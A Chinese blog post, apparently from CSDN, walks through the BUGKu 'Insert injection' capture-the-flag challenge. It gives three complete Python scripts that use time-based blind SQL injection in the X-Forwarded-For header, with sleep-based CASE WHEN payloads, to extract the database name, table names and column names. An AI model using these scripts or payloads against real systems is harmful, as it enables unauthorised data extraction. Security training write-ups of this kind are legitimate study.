BUGKu中的Insert注入_Mikasa_的博客-程序员秘密

技术标签: sql注入  

这道题因为是先输出的IP的信息,然后再将IP存入了数据库中,并且关闭了所有的报错提示。

因此用时间注入的方式比较好

首先我们先认识一个新的Python中的time模块,time.time()返回当前的时间,只要我们在发送数据包之前以及收到返回包之后各设置一个,就可以通过判断两时间之差确认我们判断的字符!!!!

其实没有什么难的,有相对好点的其他语言基础,相信能很快写出来

当然这道题还不是简单的时间盲注题
1.这道题过滤了逗号,对于时间盲注来说,可以用case when 条件 then 成立 else 不成立 end ,来进行时间盲注

比如 case when 1=1 then sleep(5) else 1 end ,在这里面的就因为1=1成立,于是运行sleep(5)语句,从而达到时间盲注的目的。

#BUGku中的insert 注入,爆当前数据库名
import requests
import time#导入time模块
url='http://123.206.87.240:8002/web15/index.php'#设定url
test=requests.session()#设置session(),好像有的需要,因此每次就会习惯性地加上
headers={'X-Forwarded-For':'1.0.0.0','content-type':'application/json'}#设置请求中的Header值,本题是XFF头注入,因此在XFF段中设置语句
Mikasa=test.get(url,headers=headers)#先用一下试试
print(Mikasa.text)#看看有没有结果
database=''#设定要爆破的值
for ko in range(1,100):#假设我们爆的值在100以内
	for ok in range(0,128):#ascii值
		PHP="1' and (case when ord(substr((database())from("+str(ko)+")))="+str(ok)+" then sleep(5) else 1 end) or '"#设置盲注语句	
		headers={'X-Forwarded-For':PHP,'content-type':'application/json'}#将需要的东西放在XFF中
		op=time.time()#记录未发送数据时候的时间
		Mikasa=test.get(url,headers=headers)#发送数据并等待返回数据
		if time.time()-op>3:#判断返回的时间与未发送数据时间差值是否有明显的变化
			database+=chr(ok)#将其从ascii转为字符,加入值中
			if(ok==0):#如果返回的值为空,ascii中0为空,则判定爆破完毕,退出程序
				exit()
			else:
				print(database)
			continue
		else:#主要用于调试程序是否爆出了数据
			print(str(ok)+'error')

在这里插入图片描述
数据库名,建议大家写脚本的时候一步一步调试,不然别像我调BUG调的麻烦

接下来爆表名列名都差不多,这里只贴爆到字段的代码,希望各位

#爆表名
import requests
import time
url='http://123.206.87.240:8002/web15/index.php'
test=requests.session()
headers={'X-Forwarded-For':'1.0.0.0','content-type':'application/json'}
Mikasa=test.get(url,headers=headers)
print(Mikasa.text)
database=''
for ko in range(1,100):
	for ok in range(0,128):
		PHP="1' and (case when ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database())from("+str(ko)+")))="+str(ok)+" then sleep(5) else 1 end) or '"	
		headers={'X-Forwarded-For':PHP,'content-type':'application/json'}
		op=time.time()
		Mikasa=test.get(url,headers=headers)
		if time.time()-op>3:
			database+=chr(ok)
			if(ok==0):
				exit()
			else:
				print(database)
		else:
			print(str(ok)+'error')

在这里插入图片描述

#爆字段名
import requests
import re
import time
url='http://123.206.87.240:8002/web15/index.php'
test=requests.session()
headers={'X-Forwarded-For':'1.0.0.0','content-type':'application/json'}
Mikasa=test.get(url,headers=headers)
print(Mikasa.text)
database=''
for ko in range(1,100):
	for ok in range(0,128):
		PHP="1' and (case when ord(substr((select group_concat(column_name) from information_schema.columns where table_name=0x666c6167) from("+str(ko)+")))="+str(ok)+" then sleep(5) else 1 end) or '"	
		headers={'X-Forwarded-For':PHP,'content-type':'application/json'}
		op=time.time()
		Mikasa=test.get(url,headers=headers)
		if time.time()-op>3:
			database+=chr(ok)
			if(ok==0):
				exit()
			else:
				print(database)
			continue
		else:
			print(str(ok)+'error')

在这里插入图片描述

剩下的就请各位发挥聪明才智了,在下才学疏浅,只能写出如此笨拙的代码。
事实上可以用多线程、二分法、以及string模块减少时间,在下不才,只能到这一步。

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/Mikasa_/article/details/88876243

智能推荐

Falcon(一)——数据集管理和数据处理平台_NobiGo的博客-程序员秘密

目的:使终端用户在面向Hadoop集群进行数据集处理和数据集管理更加容易。原因在Hadoop环境中,在各种数据集和处理关系之间建立关系在集群中进行数据集管理例如数据集声明周期、数据集复制等抓取数据集或者处理过程的血统信息。允许本地数据和其他任何地方的集群进行数据整合。与metastore和catalog进行整合,例如:Hive和HcatalogEasy to onboard new wo

win10 anaconda3 python3.6安装tensorflow keras tensorflow_federated详细步骤及在jupyter notebook运行指定的conda虚拟环境_JASMINE.K的博客-程序员秘密

安装tensorflow keras tensorflow_federated详细步骤因为tensorflow很多依赖及版本兼容性问题,卸载麻烦,所以我是新建一个conda虚拟环境,专门用来运行tensorflow相关程序,这样tensorflow有问题的话,也不会影响到其他的python环境。打开Anaconda Prompt,输入以下命令行。创建名tensorflowenv的环境,并安...

docker logs命令查找原因_weixin_888988的博客-程序员秘密

跑mysql docker 容器没有跑起来:[[email protected] ~]# docker run -d --name webpage-db -e MYSQL_USER=root -e MYSQL_PASSWORD=HhxxGxfc01 -p 3306:3306 centos/mysql-56-centos7:latest9800f4559e4d83c05eae7516cbb71f04a975f05047731cdb5722bd3711e4c6d5[[email protected] ~]# .

中国传媒大学计算机专业分数线,中国传媒大学各专业历年复试分数线总结.doc..._TBLa的博客-程序员秘密

中国传媒大学各专业历年复试分数线总结中国传媒大学各专业历年复试分数线总结专业 方向 名称学科门类历年复试分数线20162015 2014 2013产业经济学经济学325330330375政治学理论法学345323345315国际关系法学360365344339外交学法学315310331315马克思主义基本原理法学315300315349思想政治教育法学375347315315文艺学文学3...

NSTimer使用总结(完)_davidsph的博客-程序员秘密

上一篇的时候我们弄懂了 fire的用法,知道,它并不是启动一个定时器继续讨论UITime类的其他方法:Stopping a Timer– invalidate这个方法很容易让人误解,很容易认为他是让定时器暂停(语文没学好,或是英语没学好,嘿嘿),官方的解释是:This method is the only way to remove a timer from an

malloc函数_weixin_33943347的博客-程序员秘密

一、原型:extern void *malloc(unsigned int num_bytes);头文件:#include <malloc.h> 或 #include <alloc.h> (注意:alloc.h 与 malloc.h 的内容是完全一致的。)功能:分配长度为num_bytes字节的内存块说明:如果分配成功则返回指向被分配内存的指针,否则返回空指针N...

随便推点

迷宫问题(广度优先搜索)_迷宫问题宽搜_yuzhang_zy的博客-程序员秘密

1. 问题描述:输入:第一行输入迷宫的行与列,第二行输入迷宫输出:走出迷宫的最少步数下面是具体的例子:...1111111111111111111111111111111.111111........1111111111.111111.111111..111.11111111.....111111.11111111111.1111111111.111111...

SpringMVC工作流程与核心组件_ZBH4444的博客-程序员秘密

SpringMVC 的详细工作流程和其中的核心组件介绍。

如何评价 APICloud ?_Wei_Leng的博客-程序员秘密

柚子科技的APICloud限量公测上线,我觉得这个端 + 云的概念挺好,不知道大家怎么看?

python中flush什么意思_python flush()定义及作用详解(实例分析)_weixin_39954674的博客-程序员秘密

今天这篇文章我们来了解一下python之中的flush,在进入文章之前我们首先要知道我们要学的是什么东西,今天讲的是pythonflush,了解什么是flush,并且知道flash什么意思。这些东西我们都可以在今天的文章之中进行了解。概述flush() 方法是用来刷新缓冲区的,即将缓冲区中的数据立刻写入文件,同时清空缓冲区,不需要是被动的等待输出缓冲区写入。一般情况下,文件关闭后会自动刷新缓冲区,...

Redis CRC16校验 1.原理概述_阿拉斯加大闸蟹的博客-程序员秘密

CRC16校验1.原理概述来自简书:CRC16算法 来自github.io带图解说:CRC循环冗余校验 来自之乎专栏:CRC-16校验原理与说明来自简书:CRC16算法简书摘要:CRC16 标准目前常用CRC16算法主要是依据以下两种标准:CRC16 算法按照使用环境不同,主要有以下三种实现: 按位计算 程序空间十分苛刻但 CRC 计算速度要求不高的微控制器系统 按字节计算 程序空间较大且 CRC 计算速度要求较高的计算机或微控.

推荐文章

热门文章

相关标签